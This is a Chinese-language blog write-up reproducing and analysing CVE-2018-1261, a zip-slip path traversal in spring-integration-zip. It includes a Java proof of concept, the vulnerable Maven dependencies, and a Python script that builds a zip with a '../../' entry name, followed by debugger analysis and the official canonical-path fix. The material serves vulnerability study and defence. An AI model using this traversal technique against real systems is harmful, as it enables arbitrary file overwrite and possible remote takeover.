CVE-2018-1261(Spring Integration Zip不安全解压漏洞)复现和分析

0x00 前言

本文参考了一些资料对CVE-2018-1261进行了复现与分析,内容包括了漏洞情况简介、漏洞复现、漏洞复现结果分析、总结反思以及参考链接。如有谬误还请指正!如有其他建议,请您多多指教!

0x01 漏洞情况简介

漏洞名称:Spring Integration Zip不安全解压

漏洞编号:CVE-2018-1261

漏洞级别:严重(官方定级,比高危还高)[1]

漏洞描述:在spring-integration-zip.v1.0.1.RELEASE之前的版本中,恶意用户通过在压缩文件中构造包含有特定文件名称的文件(受影响文件格式有bzip2, tar, xz, war, cpio, 7z),应用程序使用spring-integration-zip进行解压时,会导致跨目录任意写入文件漏洞的攻击。进而有可能被Getshell,远程控制。

漏洞原理:攻击者可以通过构造一个包含名称带../前缀的文件的压缩包,在spring-integration-zip进行解压时文件跳出解压文件的目录限制,创建文件。

漏洞利用前置条件:

  1. 使用了spring-integration-zip库

  2. 接收并解压了来自不可信来源的压缩文件[2]

0x02 漏洞复现

PoC的核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.integration.support.MessageBuilder;
import org.springframework.integration.zip.transformer.UnZipTransformer;
import org.springframework.messaging.Message;

import java.io.File;
import java.io.InputStream;

public class Main {
private static ResourceLoader resourceLoader = new DefaultResourceLoader();
private static File path = new File("./CVE-2018-1261/");
public static void main(final String... args) {
final Resource evilResource = resourceLoader.getResource("classpath:testzipdata/test1.zip");
try{
InputStream evilIS = evilResource.getInputStream();
Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
UnZipTransformer unZipTransformer = new UnZipTransformer();
//设置解压文件的目录为CVE-2018-1261
unZipTransformer.setWorkDirectory(path);
unZipTransformer.afterPropertiesSet();
//漏洞入口点
unZipTransformer.transform(evilMessage);
}catch (Exception e){
System.out.println(e);
}
}
}

PoC所依赖的jar包由Maven进行配置[3]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-core</artifactId>
<version>4.3.10.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-file</artifactId>
<version>4.3.10.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-zip</artifactId>
<version>1.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.10</version>
</dependency>

PoC所调用的“testzipdata/test1.zip”由这段Python脚本生成[4]:

1
2
3
4
5
6
7
8
9
10
11
import zipfile

if __name__ == "__main__":
try:
binary = b'ddddsss'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("../../dddwwtest.txt", binary)
zipFile.close()
except IOError as e:
raise e

注:将“testzipdata/test1.zip”放在IDEA工程的“target\classes”目录下。

PoC的运行结果如图所示。

PoC的运行结果

我们可以发现文件../../dddwwtest.txt没有被解压到文件夹原定的解压路径,而文件dddwwtest.txt被解压到了工程的根目录。漏洞复现成功。

0x03 漏洞复现结果分析

为了进一步理解漏洞的原理,现在进行断点调试[5]。

在漏洞的入口点设置断点,并Step Into这行代码,如图所示。

调试-漏洞入口点

接着Step Into这行代码,如图所示。

StepIntoAbstractTransformer.transform

接着Step Into这行代码,如图所示。

AbstractZipTransformer.doTransform

此时,我们可以发现UnZipTransformer.doZipTransform()方法被用来处理压缩包,如图所示。

UnZipTransformer.doZipTransform

通读doZipTransform()方法的代码可以发现,在遍历压缩包内目录及文件时,回调ZipEntryCallback中的process()方法对其进行处理,如图所示。

ZipEntryCallback-process

通读process()方法的代码,并对这一行代码设置断点:

1
final File destinationFile = new File(tempDir, zipEntryName);

接着并观察变量的具体值,我们可以发现这一行代码这里没任何过滤就进行文件路径和文件名的拼接,如图所示。

路径拼接

为了更直观地观察变量的变化,还可以运用Watches监视器来监视这些表达式的变化:workDirectory.getCanonicalPath()destinationFile.getCanonicalPath()destinationFile.getAbsolutePath(),如图所示。

Watches

我们可以发现在执行完第132行后,destinationFile.getCanonicalPath()随即变成了D:\cve_workspace\XX\dddwwtest.txt,而不是destinationFile.getAbsolutePath()D:\cve_workspace\XX\.\原定的解压路径\3a1ba461-fc75-f4b6-1aa1-26c3e9ad0d4d\..\..\dddwwtest.txt

getAbsolutePath()方法返回的是文件的绝地路径,而getCanonicalPath()方法也是返回文件的绝对路径,但会去除[..]这样的符号,即返回的是标准的绝地路径。因此可以推断:漏洞CVE-2018-1261的成因与getCanonicalPath()方法有关。

在这里看一下官方的漏洞修复,官方的漏洞修复增加了checkpath()个路径检测方法,如图所示:

checkpath

我们可以发现:官方的漏洞修复做了这个判断:如果字符串destinationFile.getCanonicalPath()的开头不与字符串workDirectory.getCanonicalPath()匹配,则抛出异常,不予解压。

0x04 总结反思

  • Zip不安全解压漏洞有可能被用于getshell、或选择覆盖掉一些配置文件[6],不应忽视;
  • 运用 Maven 管理Java PoC所依赖的Jar包,有助于提高搭建漏洞复现环境的效率;
  • 运用Watches等IntelliJ IDEA的调试工具,有助于提高Debug效率。

0x05 参考链接

[1] Gyyyy.Spring Integration Zip不安全解压(CVE-2018-1261)漏洞分析[EB/OL].[2018-5-19].https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q.

[2] 水清云影.【代码审计】Spring Integration Zip不安全解压(CVE-2018-1261)漏洞分析[EB/OL].[2018-5-19].http://www.cnblogs.com/sqyysec/p/9038892.html.

[3] 等想出来再取.使用IntelliJ IDEA 配置Maven(入门)[EB/OL].[2016-5-20].https://blog.csdn.net/qq_32588349/article/details/51461182.

[4] 羊小弟.Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现[EB/OL].[2018-5-19].https://www.cnblogs.com/yangxiaodi/p/9036916.html.

[5] 重复的生活.调试中的step into step over step out[EB/OL].[2014-10-22].https://blog.csdn.net/yagamil/article/details/40372979.

[6] k1n9.Java 文件解压的安全问题[EB/OL].[2017-12-9].http://k1n9.me/2017/12/09/java-sec-in-decompress/.